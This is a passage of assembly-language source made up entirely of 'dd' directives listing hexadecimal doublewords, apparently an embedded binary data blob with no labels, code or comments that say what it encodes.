0C8BC0015h, 5AC10FE6h, 0C33DE5CAh, 50EE8054h dd 21AC2917h, 440A19F0h, 7055E8ABh, 0B80012FBh, 0AF6AE8C9h dd 0C1432Bh, 15779809h, 6EDCF5B5h, 0D5051216h, 3B6AAC00h dd 5E2F7CADh, 0D9A400A4h, 536CD101h, 0C7421709h, 0EDE4030Ch dd 21BD8989h, 26162C3Ch, 0DFF85441h, 493CC700h, 310A9DB7h dd 0D61319C0h, 9A8938h, 0D192DF21h, 801290FCh, 0E9F0AA00h dd 0E7B475BCh, 9B1F0596h, 0C0A75969h, 5DDB2A9Fh, 4F920D00h dd 6CC12E17h, 1B09581Ch, 0A800804Ch, 2D35B4Ch, 7900B2FBh dd 0FFAC9D3Ah, 84993h, 0BEF707D4h, 0E6DFE57Dh, 75D5F800h dd 0CD3F4F94h, 0A48F090Dh, 8C00E220h, 54D63C77h, 0F4FF2224h dd 406BF003h, 740BD88Bh, 5B377B4h, 1314B29Ah, 79B4900Ah dd 0A658D0BCh, 4C007304h, 543A654Eh, 0B9A988Fh, 0EFF64EBh dd 9B80F820h, 0F700F0DCh, 925B1E96h, 719EBAA1h, 275C0010h dd 0E0A9625Fh, 11C7CA55h, 0C4F096FCh, 0F2BA810Eh, 0CF53032Eh dd 31DA33B1h, 0F609C5D8h, 0BDFE6800h, 763EEC28h, 5C42005Dh dd 44855440h, 0E10EA3B6h, 9C4FD2D6h, 20D5290Eh, 0AFA1C69h dd 2D300EC8h, 801EAD9Eh, 0DEEED18h, 0D0C33922h, 891AE670h dd 10802EE9h, 715F53E3h, 1057A17h, 0B0C9164Ch, 4AD7CA0h dd 0E5E367D4h, 0F8510031h, 0FBCD27Dh, 4EC4A752h, 0AB9394E0h dd 442D787Ch, 4E494B8h, 38CA40B4h, 0DCC4F006h, 28924A03h dd 23F7E9Eh, 0DBFE8C48h, 0F80E3Eh, 30F4F018h, 5A63570h dd 938F7947h, 325CD05Ch, 150966FCh, 200CDCCDh, 0EA172A54h dd 0CB89429h, 1912D136h, 47E6630Bh, 0B304A1C8h, 0B8F78FEBh dd 177E186h, 0F99F01EEh, 0DD4630CFh, 0B69AD025h, 34D53200h dd 3B46219h, 0ABBE0092h, 0CEA8B80Fh, 6B004BAFh, 786D8CBFh dd 0C9A506h, 7D21B13Eh, 0D2B29EF9h, 0EBBA900h, 9F84B632h dd 0AE280AFDh, 1C88CF47h, 385C0EAh, 0CA77E20h, 15D81E1Ch dd 0ED013196h, 0EE659A6Bh, 90439443h, 3A8C6A33h, 0B3808183h dd 2C900AECh, 0E200D0B1h, 0EFF4E955h, 7E4FF131h, 6B580020h dd 83FD6288h, 7A00921Eh, 2A595B5Eh, 0BB9735h, 251F2B10h dd 0BDB693A4h, 28A96C26h, 6A754D00h, 0A230EAh, 3874391h dd 704198EBh, 2DED5F01h, 0A47C5AEh, 902CBDD4h, 0D52309C9h dd 38E057D4h, 2A00C0EDh, 0EF3BB529h, 980AEE7Ah, 32351728h dd 91149C61h, 4A5FFF00h, 9EC9AA18h, 0D87500F1h, 0DDF8FDBBh dd 0F40040A2h, 9F0A5FB2h, 0EC6C717h, 29B0C5A4h, 0C17F8620h dd 9300DB57h, 6A63B3F2h, 77DE0BE5h, 245B0909h, 0A18739D5h dd 2083A261h, 0D2BA60E3h, 9800A87Ah, 0E203B929h, 78DCD63h dd 0AB87D308h, 0C4F9936Dh, 511C8AF8h, 0E53DA700h, 10F74956h dd 774A24B2h, 0E2B70205h, 0D0C0E926h, 0E00ED4Dh, 62FF6E6Fh dd 0C1443DDh, 0E8DF4E0Bh, 0C91EC120h, 0AD40E5CFh, 0EB545D3Fh dd 0D55F82h, 3C5693F8h, 0CE053B23h, 0A45C8A79h, 939930E0h dd 4540437Ch, 0A2D28801h, 0C29E0220h, 2757470h, 2DEAB187h dd 0B4A3A0C0h, 3665EF72h, 0D0B0D241h, 195917E4h, 0BCE1076Bh dd 0DCAF11A2h, 15F9FBB9h, 7E8695Eh, 6B404585h, 0A1B46D90h dd 5C1600A4h, 68A7C32Eh, 0D249620h, 6700E042h, 7662DDAAh dd 7F5F3BE0h, 0F852780h, 0DA541007h, 28533630h, 2468D9B0h dd 709916h, 0C1A13AECh, 341D79A9h, 8CDEFD2Ah, 0CC0A5DCh dd 0B499F4F2h, 327600E0h, 919D3382h, 6A0072CAh, 6B96B8FDh dd 9A10F18h, 505AF6BDh, 0BF86C0Ah, 8A0C0CCh, 7DCDE0E9h dd 355D9C00h, 9FAFF3D7h, 0EBED002Dh, 5A498102h, 0A603DB39h dd 979831B0h, 10419006h, 0EEE0ACh, 966570BDh, 83AF1895h dd 50D7165Ch, 0DE20816Ch, 4ECECh, 5A856E56h, 0FED27F4h dd 14B44200h, 0FF62C038h, 3A0738Ch, 1632A219h, 0B1C848EDh dd 0F09CFAEh, 40A37037h, 15B079Ch, 0FD2EC19Eh, 53E6D659h dd 90030ED4h, 8A50C3C4h, 0B6248079h, 60DE5C2Bh, 2D1EAD00h dd 8795F22Fh, 23314700h, 97DF8C10h, 478B0F7h, 68E3E876h dd 0EB88805Ch, 2F0027B9h, 8A226788h, 11C7BAh, 0DB05D246h dd 3396F51Dh, 454B38B0h, 0BA345880h, 48E400CAh, 844F37C7h dd 0B8049001h, 0BFA69279h, 2D4308C0h, 3ECE8CCh, 0B4AAE17Ch dd 13F33915h, 6368E0ECh, 0DD0E0C9Ah, 203501CAh, 0E75F8D47h dd 9A267F72h, 8B048E4h, 1128C018h, 0F812FB7Eh, 0CCA073C3h dd 0E27D1DEBh, 0B8006D06h, 4EAAC626h, 0F62D900h, 6BD07C31h dd 6F12008Ch, 18B06DD3h, 2A72B434h, 87A0983Bh, 2DC020FDh dd 3234A0EBh, 0B0AAB82Bh, 50010161h, 1335840Eh, 56B88C36h dd 2092103Eh, 2E78A7D8h, 91676D05h, 0DEC03752h, 0D5FF9Dh dd 0CE79A546h, 8020591Dh, 249EE000h, 0DE48ACFAh, 0D85B0015h dd 55F17810h, 70005667h, 52B89C50h, 3A8B283h, 7504C2B1h dd 95E76918h, 0B99C4A2Eh, 782818B8h, 0F1EC0721h, 0A8B81560h dd 74D6D9Ch, 311C5C8Fh, 0B585E9h, 6499B908h, 84001EACh dd 0A46E2865h, 170DFAC6h, 6A9A52h, 5B83F3B9h, 0D500E1AFh dd 0A87E6FA9h, 0E4E0AB3Ah, 0D4300052h, 749FDAF5h, 0C7E446FFh dd 90EBC807h, 18101FC6h, 0FBA851h, 0D6E0FAE1h, 0C4BAAE3h dd 461BB3A0h, 7573B300h, 83D42B16h, 1EC400E2h, 1AE330F0h dd 9CFE01F1h, 0DBE93551h, 0B7921A8h, 3397A00h, 1328E79Eh dd 41F4DCh, 0FEF6544Bh, 10898270h, 0CDF95Ch, 0D5FC1CEEh dd 26CEE2h, 50AB1A9Ch, 981D1916h, 0AA01CC72h, 0E7B13515h dd 0E0C7B9DEh, 1C68C2E4h, 0AAF33A7h, 9CA41AC0h, 526F07FDh dd 0A40E9094h, 0D74EA9Ch, 5B212E60h, 4CF6F19h, 9F61DD08h dd 1D30D097h, 0FD03AD94h, 9C2BA10Ch, 0C1301841h, 3E3B3931h dd 0F5DBA300h, 77D89672h, 8113007Bh, 73E77E66h, 4A00EC1Ah dd 8929DE98h, 0BAD3C383h dd 38AF48B4h, 2FB76C0Ch, 51001211h, 5CB905DAh, 66B1AB01h dd 21470864h, 0DA58F103h, 0C80CAD4Dh, 674D728h, 65BD4F76h dd 7F98A012h, 0B21F5D00h, 5732311Eh, 0C9A760B5h, 66EB02CFh dd 83E65603h, 30EE2E21h, 1491C608h, 3FCEAFBh, 0B57EFA00h dd 4415B798h, 0A76703DFh, 97C959C6h, 5CD7C02Bh, 0DE599053h dd 1182000Bh, 0B7351609h, 0D8E692D6h, 984961C4h, 0B2E8B600h dd 7000ABAh, 0B5023681h, 114543h, 5FF2F971h, 84CAFB41h dd 0DEEB4903h, 0A86B23A8h, 347A9h, 0D2ACB7A0h, 76A1C15Ch dd 9515D400h, 835D0DF2h, 0A5CA04FEh, 0C0F66FEEh, 733CA29Ch dd 0FAB1E103h, 0C00B2E90h, 4E3A56h, 1BB8DD83h, 229DE6D8h dd 0D500BB75h, 15BD735Ah, 0E39928h, 0DFB5897Eh, 4DC0D708h dd 0C84F1A00h, 74B2C1B6h, 5D6B02A7h, 0B46AFE15h, 798B9B60h dd 6F88BD01h, 0A7807118h, 21D90898h, 790094CAh, 63BAAC27h dd 1DE688A9h, 0C3F751EBh, 4F17C84Bh, 582375EBh, 798F0309h dd 62A488B9h, 98BE20D6h, 6F3EF779h, 2D4480ABh, 3453E6F2h dd 1AC300A6h, 0A837240Ah, 0CD00F1B0h, 0B46BA48Ch, 37D27C53h dd 21211B16h, 31CDF0E6h, 1D2083A2h, 4CE7A2Ch, 0BC47E240h dd 7C7301ACh, 389F1446h, 0D9E408ECh, 98016A07h, 417196h dd 6128965Ch, 0B84794F4h, 8CC55B8h, 0B12160h, 0ACA1288Eh dd 0F0F1EA9Bh, 4B8D5E1Dh, 8452E70Ah, 0D70CBF48h, 3886105Ah dd 6900F12Bh, 0F2CC9F22h, 0E0F80AF5h, 59386F00h, 0C52C20FAh dd 9CE10315h, 3319048Dh, 225CA2C0h, 80988039h, 758831C8h dd 0CAD0EBh, 0FAE6812h, 0B64DB76Eh, 0CBD2F0Fh, 5DBC4339h dd 8570D773h, 69306Ch, 8E5E03Fh, 0AD5ECAB7h, 54013379h dd 851CC27Bh, 0A6F1B2B9h, 0B404CD8h, 5EF9C0F5h, 37096480h dd 750108AFh, 0EDF455CFh, 9984E32h, 100F21EAh, 50277500h dd 46EF12DAh, 446D0945h, 0F0004DA9h, 8008E6B7h, 1AAB5200h dd 0DFB8D02Dh, 0D7CF0E36h, 0C080372Fh, 34FF9844h, 80182907h dd 4AD09A76h, 0EE602E25h, 0CF68C0B8h, 53630585h, 0B0E96D00h dd 4E8E79ADh, 4960D8B4h, 0CE0CDD09h, 11345202h, 75290017h dd 1403BDDFh, 1366B60Eh, 210B08h, 0F7752101h, 1AE4A089h dd 4142A600h, 0C1EC7060h, 0BCC6369Eh, 10465860h, 0E1752702h dd 0C3113BDh, 751EF710h, 0D0B81D1Dh, 0F77EDC9Ch, 21495230h dd 79D6FC63h, 1C8200D2h, 0D9E10854h, 760DE35Ah, 293F5302h dd 17B10D4h, 66C1DB01h, 0D427CC58h, 0E0508EBEh, 48C054Ch dd 0BDEC7524h, 3FF4382Bh, 0E781751Bh, 426FAE6Bh, 36DBE04Dh dd 23438809h, 0BC080047h, 0E47477h, 0B8FBA244h, 83B0AFB5h dd 4F827500h, 0AD2A45F0h, 4CDB00A8h, 0A4FFDE7Ah, 0C6073C94h dd 0AABAEEF7h, 0F00A067h, 7A5919F3h, 0A50300A6h, 6616A1A8h dd 0F400652Fh, 604980C7h, 76A31ECh, 0C8BD1A9Ah, 1FB40089h dd 2824E0A4h, 0EB005AA2h, 9229BC50h, 7F60046h, 0C9047DB8h dd 3900BE2Dh, 3B238FAh, 0E4139EFDh, 0F3F27Ch, 0FC0E5375h dd 8A3315F5h, 582BB300h, 86B7BBD7h, 0D5B103CEh, 0AA819CDEh dd 0EEC6301Eh, 0E9D0EF00h, 676CC9h, 16FD8D2Ah, 5989B3E4h dd 0F2FC9E0Fh, 262EC0F4h, 0EE39AA76h, 7C40C075h, 6EC3C151h dd 0E7137F07h, 0CB4018ADh, 37A9D74h, 9FAC4E8Ah, 3119CC65h dd 2798B9Ch, 75808C4Bh, 61595F9Dh, 27991601h, 0E204804Dh dd 3F2C6080h, 0A9BA2378h, 597A8130h, 1885C317h, 901913C1h dd 660C0703h, 0C8AADD31h, 0FEFF0EFAh, 0DDDDF521h, 8F0F030Eh dd 0AAA0778Ah, 49C18481h, 0D50C02FBh, 7D45B983h, 0CCD0A4E7h dd 0A501B690h, 816BC8DBh, 588098C5h, 6AF98E9Ch, 0F72C4677h dd 440057CCh, 0D4738599h, 32A0001Fh, 0CB1B3039h, 2E1DF358h dd 1400BB2Bh, 0DA219723h, 0EF380104h, 3F302FF8h, 8069D1F9h dd 0DA196521h, 78FD27A4h, 0A0430062h, 0D03D4AA2h, 3700CB12h dd 88C2AC50h, 1D2342FBh, 1A9B2Eh, 4F4F3B7h, 9C0321FAh dd 93FF83A7h, 0ED44FF6Fh, 0C05C5D44h, 6B598AC3h, 62A88600h dd 8C1DF594h, 4300324h, 31AFBEFDh, 70863005h, 100496F6h dd 0A9180294h, 157025B7h, 11FEDF35h, 52F0AD80h, 19CFE884h dd 8597CBAh, 3E2180D4h, 2F7DF06Ah, 0A4992E56h, 0FE7300EEh dd 0B31C4ED8h, 0ED87F30Ch, 50B47085h, 1732C25h, 59B603E5h dd 60891C6Ch, 80F1CD55h, 4411DD88h, 3EF53A15h, 2F815D91h dd 5906D593h, 68A1F0F3h, 530348h, 0FAC2B321h, 5D781Eh dd 79524C64h, 8996D530h, 5404BEF8h, 35D373F0h, 0F45826C0h dd 3FDD01C1h, 56F78E5Dh, 633DE07Eh, 0C0007FF2h, 0D6451185h dd 0DC8A83h, 62957624h, 0BABCB14Ch, 6E6B4000h, 9653A3AAh dd 0A760003Bh, 3AAF325Ch, 5006234h, 0F630C439h, 709C6887h dd 0DA9B3CD2h, 72B4B0Fh, 1540CF60h, 0D5001CF8h, 0C2284A37h dd 90DA03h, 7041BDBh, 0D8DDAF26h, 0B7EA0C03h, 0B87ABE24h dd 1CD3C2CCh, 8DC61385h, 0B10CD48h, 8F9FE004h, 0E210C0C5h dd 46BAF679h, 70DD2207h, 0E06FE86Fh, 0D3F36BF5h, 0D9160041h dd 0D6DF2BF4h, 4F00359Bh, 9085273Dh, 7E6CE26h, 84DD31Dh dd 0B6DF1055h, 9F00C21Ch, 0C5FBD6B3h, 0C15DEAh, 9BF38669h dd 51D1CD30h, 0FC72400h, 0CB9CB175h, 40351DF7h, 0F9BA40E4h dd 88B85192h, 4AE113Bh, 1C9E8D14h, 0A7500E80h, 0F673CBh dd 0E74834D4h, 0EAB9BBFh, 0E61EEF0Fh, 6BBC4E3Ch, 7890072Ah dd 0C6998A80h, 9D890012h, 9EA25DCCh, 500096D8h, 65F06EF1h dd 0D20D57h, 0C4419712h, 0BB2D1921h, 0BF157B0Fh, 0A7A8C059h dd 399309h, 5AE0742Fh, 0F2F090DFh, 7CC2403h, 0F82BE3B0h dd 325301h, 0D0BD56ACh, 0EB3E9625h, 0D8C0FBEEh, 0DDC4777Dh dd 0CFC03AB8h, 3053AEh, 7A50A68Fh, 0CCA81629h, 5E581395h dd 0FB4916A4h, 79CE80EBh, 4750656Ah, 4100AB98h, 5601BB3Eh dd 25C6419h, 8376309Ch, 90804FD6h, 0E0E43A90h, 8951A800h dd 6EE198EFh, 1CB66432h, 8E0490C5h, 0D603F824h, 0A914671Fh dd 36A80046h, 0AE53971Eh, 250043C3h, 4BB85D52h, 4823887Dh dd 0AC008A0Eh, 942633F0h, 8C39EF42h, 2DE68075h, 0F8385E45h dd 2B76009Ch, 131BF30h, 0B70F27F1h, 60A353EEh, 33F5A8B6h dd 26910313h, 11A975F7h, 0B587D800h, 363F4668h, 3BAF0F2h dd 1CA7CE4Ah, 2BC0E134h, 72008F69h, 0CF23EE73h, 0C355EBh dd 34DCD141h, 177A4FC0h, 0E0CBB530h, 767EAF3h, 3509AF8Bh dd 40D4AAh, 1BD886CCh, 187EFE93h, 18475BC3h, 1003EADh dd 4A0C1232h, 0FAA8D1h, 0B7C3EAAAh, 9DB370B4h, 16BEE501h dd 3C627EC9h, 0D73020h, 0FF2A1E79h, 0E412A297h, 0B8671C0Bh dd 1AE700FCh, 0E0285FDDh, 0F1DB0734h, 0A0D314E0h, 15EB646Bh dd 6083AB0Ch, 2882B4FAh, 5CC9275h, 0FD4EEEE4h, 9F8C40C1h dd 3F19B708h, 0B65A370Eh, 811FC0C7h, 0E8A82956h, 990006Ah dd 7C710B38h, 0B200A041h, 92C5A42Ch, 90150F5Dh, 721C0028h dd 901E340Bh, 37544F2Ah, 68F0A888h, 3A836C00h, 9D284ECAh dd 5ECDE4B4h, 242DECA2h, 41E1C3Bh, 1B7A1F62h, 51E940FDh dd 0AF9EFEA0h, 51316C30h, 1F7D5Eh, 0A3636DEBh, 0CEFFDA47h dd 0C7A12200h, 51B2FAA0h, 84FA76h, 291A77Dh, 8C47C925h dd 0D00F8500h, 73180DA9h, 4E1A0042h, 0DB67C8A2h, 61003843h dd 87CF7C13h, 0A164C4h, 7D6937ECh, 15B665B3h, 0E13E3400h dd 0AFD3800Ch, 0A9F90085h dd 1B396678h, 28008773h, 7A62C218h, 0BB98994h, 6BD4B160h dd 46E16280h, 8600A139h, 7EA58E04h, 0E01F5F57h, 525C0018h dd 22B24429h, 0B283E78h, 38578491h, 17AE00D4h, 0FA76F9C0h dd 0B2270033h, 1A1DD564h, 5748C418h, 49EE019Ch, 2F7CBF38h dd 0D3E3E0h, 4FB12803h, 799FD9B2h, 46FB7200h, 0DE3FCEB0h dd 0AC8F0063h, 0A507FF15h, 0CDFA37B8h, 42EB50Eh, 0A0972E73h dd 704D1B96h, 93640084h, 0E00CCD36h, 0BD00CA99h, 2D0F95BBh dd 0E143Eh, 968C1353h, 34D3EEDBh, 3046BF00h, 4272C69Ah dd 69C70579h, 904BAF99h, 2E802614h, 84F3CA00h, 0A2F4095Ch dd 11B900BCh, 0BDE122A8h, 0F7033174h, 3E5D2469h, 6AC7E4E2h dd 0AE71E80h, 3FFCF238h, 2FCCAB13h, 0A74CB600h, 5CA26C4Bh dd 0CACD8601h, 0B389F822h, 9E03D0h, 785E7FD0h, 0E442C5ADh dd 3CA04B00h, 794959E8h, 0F5BCF4FEh, 0BCD3420h, 71AEC69Dh dd 0D7529820h, 0C4055D14h, 0A2BA3CA4h, 72759100h, 9068E29Eh dd 8E950014h, 0F26DE4BCh, 0BA07E8F7h, 19C09A07h, 0E5B6170h dd 0B7ECD1h, 0D23732AEh, 0E6D86D46h, 43C1EE09h, 8B4C2022h dd 1DC32A1Dh, 0C1AD97F6h, 9F247BBFh, 0B484E05Fh, 2C8C48h dd 28925506h, 14FAB52h, 61881BC0h, 0F41964FDh, 300ECF1Ah dd 0A0B3859Eh, 7E5D6F5Eh, 589AE8D3h, 48009D9Dh, 0FA9B9E75h dd 778EC93h, 0FB70B876h, 2F004C7Bh, 538DC3E1h, 0CE46963h dd 6CEFD54Ah, 27005CD8h, 0CC741888h, 3DB763CAh, 878039D7h dd 3B0E10A2h, 2500AB8Dh, 1246A7BFh, 716561F6h, 571C0F0Fh dd 81C0FA28h, 3D849F9h, 0BBE1F800h, 87F7892Eh, 42FF02BCh dd 6C93E4B1h, 7BC2C840h, 0B2801900h, 0D0AD77CDh, 0D3E9009Ch dd 2E9031A2h, 40009517h, 84FC5A16h, 0FE4A85EAh, 3AF01Bh dd 1D5BDDCEh, 8B950E7Ch, 13E8B600h, 4C207EF5h, 0A4C9DC5Dh dd 1A330F4Ch, 0A71FBC40h, 0F61E131Eh, 0C0F09F2Fh, 38F1AA6Bh dd 0CA00CB66h, 0A2237C06h, 7200C878h, 571D4BE2h, 0F9EA9F3h dd 0FEC7DF19h, 22DDF1C0h, 710F47C4h, 0C9796C23h, 7C7C23CAh dd 3FE9F08Fh, 7056001Fh, 20BAFC1Bh, 0F30EA7A3h, 0E0C4D882h dd 9B2F2AE2h, 0CCA00343h, 0F113AFD1h, 907E1588h, 0DF7C6E00h dd 47AE14B8h, 0A4D005Dh, 0EBC02360h, 0C4BAD7C5h, 0BC95503Ch dd 78E40744h, 3F43B749h, 77A7A7C6h, 5C87181h, 11991FE3h dd 80C42679h, 0EFA6AFC9h, 0A75687C0h, 14BE2A2Ch, 2860F483h dd 9A6A2430h, 40D1041Ch, 0FE58B90Eh, 18979D83h, 80E73F6Ch dd 2018D706h, 0E78A295h, 21B700BEh, 0D4CCCA86h, 520D58A0h dd 20C3C009h, 14B6F6E8h, 400645EFh, 1F717A24h, 80BAB9AAh dd 0A7180CC8h, 6C07881h, 0C300A8F8h, 0F31ED716h, 5B052C1h dd 0E392175Ch, 0A19AC0E1h, 0B10053D3h, 4922A272h, 3BBF920h dd 58A37810h, 0C9A0B07Fh, 1400DE37h, 974FCD74h, 19EBC7h dd 3F7D2A94h, 46429964h, 4C2C2D00h, 30DAD636h, 7FEC392Bh dd 93A77609h, 5893944Fh, 4680291Fh, 0D4B98E3Ch, 0FD19001Dh dd 0C38B0EB8h, 0EDE24006h, 0DEA56914h, 0BE140788h, 0B312062h dd 0C450BDFAh, 0F4C45Ah, 32498971h, 0D8A6B70Dh, 3FCCC33Bh dd 6C50867Fh, 24209A25h, 1407B6CDh, 0E0F1206Fh, 0CF91811h dd 0CFEA759Dh, 0EF1FB3B9h, 0E14158FFh, 8952C6A0h, 21E90898h dd 0FF007712h, 0A8FA4DCAh, 0B987DFh, 397D1129h, 0BC5EA905h dd 0D4B8A11Fh, 0E3311986h, 934801F0h, 7B53CD13h, 0E8BC349Dh dd 0EC076B00h, 0D7A657C0h, 87F65C7h, 89A44332h, 0FBD00763h dd 6518F72Ch, 0A158CC90h, 5841060Bh, 0D8A2511Ch, 20030374h dd 8A10BCF4h, 3947A148h, 0FF536980h, 98663F1Dh, 24C440FDh dd 0BF636D08h, 885B52D1h, 51A55Fh, 3EA174BCh, 0C057BBCCh dd 0BF070894h, 0C93C3D30h, 0CD1E110Ch, 7648052h, 8C7FC02Bh dd 12884B44h, 8C077Ch, 944BA3Eh, 481EF3EBh, 1824D4DDh dd 389883B9h, 0A068B11Fh, 5445FFDEh, 758AA4FCh, 0E329C0ADh dd 0F1812D7Ch, 0C716E600h, 0FA19745Eh, 5BF400E0h, 0D683D289h dd 0D30C680Ch, 398FD473h, 6EE00A2h, 0E9FF4979h, 173A12C0h dd 219731E4h, 49202685h, 95391237h, 4DD04289h, 0D140F055h dd 93FE463Eh, 899991C2h, 0EA344012h, 13A4A8E0h, 64650EA7h dd 212F37E1h, 74382DC0h, 0D90AC536h, 64BA967Fh, 0ED5E3A80h dd 516557h, 7609FB26h, 0F516F9DFh, 83398100h, 44CAE35Eh dd 7477DF6h, 0BBFD14C3h, 7B716C49h, 0C0B04254h, 0F8AD9C00h dd 0DC4C04AFh, 6E60A0C6h, 3926300Dh, 2115F240h, 300AFB00h dd 0AB58607Ch, 490200BBh, 0C134460Bh, 114C64EEh, 0D21F77A8h dd 13C086EDh, 0ABCCFB93h, 0A3B47346h, 4531C880h, 0D966126Eh dd 7AA008C3h, 4BFF8AC0h, 0A119215Ah, 1520E591h, 0F2B88D00h dd 3EF3E44Ch, 3789861h, 21922DF8h, 0C101BF95h, 0E39058ADh dd 0EC30560Dh, 8866446h, 87F8A0BAh, 2290600Eh, 0C856C3F0h dd 52A00D67h, 0DE104ABDh, 6111580Ah, 2A077D80h, 608C47C0h dd 758721AFh, 23028E07h, 190E316h, 20C498CBh, 754012C0h dd 5B8800B9h, 569080CCh, 45965816h, 0A5AB4000h, 3822C766h dd 5389CB08h, 0D4007231h, 0AC77D846h, 5EA3A901h, 0CDEFF8C4h dd 52922FF0h, 59027C22h, 7E0DF090h, 7017BE31h, 0B3139061h dd 0A1F0A42Eh, 0B0DDE90Ah, 1DC45C80h, 0E0C86Dh, 14D642A0h dd 0BEF64F79h, 0AF211018h, 38A3ACB8h, 0AE930D8Dh, 0EDC000B0h dd 0C7C530C0h, 563E20C0h, 0A9AD2F29h, 7E1860A0h, 0C021077Fh dd 7686C06Fh, 0E5004007h, 0C5B414A5h, 0A0A43F29h, 80E6519Ch dd 0B5FC46A8h, 0AD60B960h, 50B1CC68h, 4CF61039h, 57021C19h dd 9FC0C494h, 90C6A085h, 0E644F430h, 32C84C51h, 9B7A1838h dd 830B81h, 95604D61h, 706907D1h, 0D8F81C1Dh, 0E21E1586h dd 0C4580DF0h, 0E058BC3Ch, 70A13066h, 0E5A1D8B5h, 8E1088C1h dd 242195D4h, 881FAC24h, 6C4CA752h, 8270273h, 87AEA675h dd 1278AC2Ch, 0A5940C0Eh, 2E487D19h, 8CB9BC70h, 2BBE3661h dd 0EA811F58h, 56497B55h, 6903280h, 0D30E750Dh, 42889868h dd 56BB0B41h, 0A138A1DFh, 0A843E103h, 7B099460h, 60769484h dd 0FC7E0629h, 94448C27h, 6210350h, 1E608A5Fh, 0C12AF810h dd 409C7B2Eh, 3A059C11h, 52DCB300h, 0EC2A8B23h, 38A54C4Bh dd 7DF25807h, 0CA0495Ah, 9B11CFF5h, 32C460F9h, 0C49C7A2Ah dd 2ABD5500h, 843395F9h, 9E83A0EFh, 840690E2h, 0DB9C02A0h dd 0ED31DC53h, 220240C4h, 0E5FCB91Fh, 0E4AC452Eh, 605062BBh dd 14F49B7h, 0B1B00475h, 20B31519h, 0D549EA08h, 30A3838h dd 1C92A0DAh, 0AC2FC841h, 0A34907B3h, 0A261FCAAh, 8620E13h dd 0EB91A060h, 265E3E80h, 0AC4C9C0Ch, 0B0215E08h, 0E8AB80CCh dd 78B1E1BAh, 5EB36C0Ah, 2280BC49h, 9A1A210Ch, 0D8C85431h dd 9958A0E9h, 7A9C09D9h, 4C4028FAh, 0A94D01D7h, 0CD693B08h dd 7ABC94h, 2F5D9C41h, 0B35F54A4h, 24213D2Ch, 0EED33980h dd 5975CBE3h, 5804443Ah, 0D0944CB4h, 1D513488h, 0B1BB70h dd 83842411h, 2E708290h, 10B1D8B1h, 6904B74h, 0A63D3571h dd 0BA08604Dh, 696BD1Bh, 7939ED08h, 0E5D1F4B1h, 9039718h dd 85112A84h, 4CC7C85Bh, 991E07F1h, 0C2578A3Eh, 88A30594h dd 0B93A879Fh, 0CBC98017h, 31BD718Bh, 0C26C0376h, 0B3A64B09h dd 86626007h, 40D0191Dh, 0CC3B49Bh, 90EDC4DCh, 4630BC40h dd 1DCF89D2h, 0DCA905CBh dd 0C003FB71h, 0F7692E9Ah, 84AFA02Ah, 0E128EE07h, 27907F5Eh dd 648FD2h, 0F29C3CDFh, 50CBEBA2h, 0B0A0AD18h, 43B731h dd 8AC89144h, 0D9F237D4h, 82DA6800h, 9FC5609Bh, 67ECD2h dd 2ED3C16h, 19F2C64Bh, 0A4926628h, 0EE027646h, 795A57FFh dd 7611011Ch, 53BCEAFFh, 4844DEB3h, 3D545816h, 45088C40h dd 15C6568Fh, 0A821DCBAh, 7B0E4800h, 0C434A1DFh, 8180E496h dd 9A26487h, 0D24014BEh, 6303A03Fh, 91CCC45Ah, 80D55024h dd 0B13AA740h, 4CF30098h, 0DBE3B0CAh, 0DA714622h, 317F5A04h dd 0A0904D7Bh, 3C77BADDh, 0E28073F6h, 918A8E75h, 5C0255CBh dd 22DE3702h, 0CC60403Ch, 0C87F819Bh, 2F493514h, 1FFEB85Ch dd 1656C979h, 0EE8401B2h, 23BAFB3Fh, 30B0A2C4h, 7A01B762h dd 1A466889h, 0EC20D105h, 0C2490965h, 1C00048Ah, 13FD535Fh dd 30A4CD75h, 2807770Eh, 0E08B92C0h, 6FDD16h, 0CCFE3DF8h dd 0C30F1154h, 5DB83AFFh, 40F2998Eh, 2B4913FBh, 9DF40069h dd 8A53F82Ah, 4B554507h, 88C04EECh, 2E05C0E4h, 0A90A5903h dd 94880C8Eh, 0BE4ABF03h, 0E3F992F5h, 9017F854h, 0E1C713DBh dd 5C440AD3h, 3D9685CCh, 2B8C90E6h, 0A126091Ch, 0ACBD78D8h dd 2AC27C77h, 1F978506h, 10007C99h, 62251h, 9B7CF9FBh dd 0B020A5B9h, 55B39809h, 8E00919Ah, 0FC434510h, 5B744F00h dd 0EEE0B08h, 28D0062h, 63591501h, 0A030234Ch, 0E6F231BBh dd 66050089h, 254AF175h, 0E0FC2EC6h, 0B7CE0E02h, 0C2D9B04Bh dd 0C18D0D44h, 9AB87028h, 8EA6028Ch, 8B8A3132h, 5ADCA080h dd 0FF006444h, 0A14951D3h, 5CE9F989h, 41733094h, 297888A6h dd 586506E7h, 0F400EEF6h, 18D8CDC8h, 99EADABEh, 3E7A0958h dd 0A731C20h, 5A005159h, 0D045CFE0h, 3D93BF57h, 9960409Ah dd 0BC9C668Fh, 5D69B962h, 787084DEh, 64062B60h, 0D0D84968h dd 238258h, 321ECB06h, 4B95D298h, 0AB5C8778h, 0B8BB2CEDh dd 34797CA9h, 0C01C8D18h, 2FE7F908h, 0E13802E4h, 221052DBh dd 5A276E5Ch, 0EA48B9C9h, 0C5933F00h, 4801685Ah, 3452450Eh dd 785E4C60h, 0CFB01DCCh, 27897C49h, 8CEC3FE5h, 200FA441h dd 96036711h, 0C0267C08h, 0D8C904Dh, 0E0485E4Ch, 490554Ah dd 62EC2B4Eh, 0F2C4B2F2h, 6F7530A4h, 0B5C4C002h, 79AEA530h dd 5C68A47Ch, 80CD4C21h, 1A251EDh, 0A73FFE0Bh, 0AA10AFBh dd 0BB86F8BEh, 7E31475Dh, 0AC652DC7h, 8193C404h, 618DF2F4h dd 0EBA0F30Ch, 5E1C4AC1h, 9D65B870h, 0CD390868h, 8B1A9960h dd 0C4931CDAh, 2CF028E8h, 88D8BFF5h, 5A83D511h, 7C8ECCCh dd 0AA44F420h, 546419DEh, 88BA7BF2h, 7A18DF64h, 0D53888h dd 0FE01D457h, 0F120C0FAh, 28B55000h, 0EEDBDAB1h, 968CE409h dd 0E4190994h, 74CD04A9h, 2E49CC60h, 88685284h, 92B09450h dd 0BB505C4h, 0EC9286DFh, 0A7FC005Fh, 510EAC11h, 4EDB0213h dd 0D4C234AAh, 1D9FE1E0h, 129F897h, 17F0484Dh, 0E44A112Dh dd 2500B085h, 0FB2608DBh, 3D02D65Ah, 0E69F8015h, 3EC94014h dd 6CA44A5Dh, 0F5AAC700h, 607276E7h, 97738Ch, 956ED7F0h dd 16D19637h, 9309B200h, 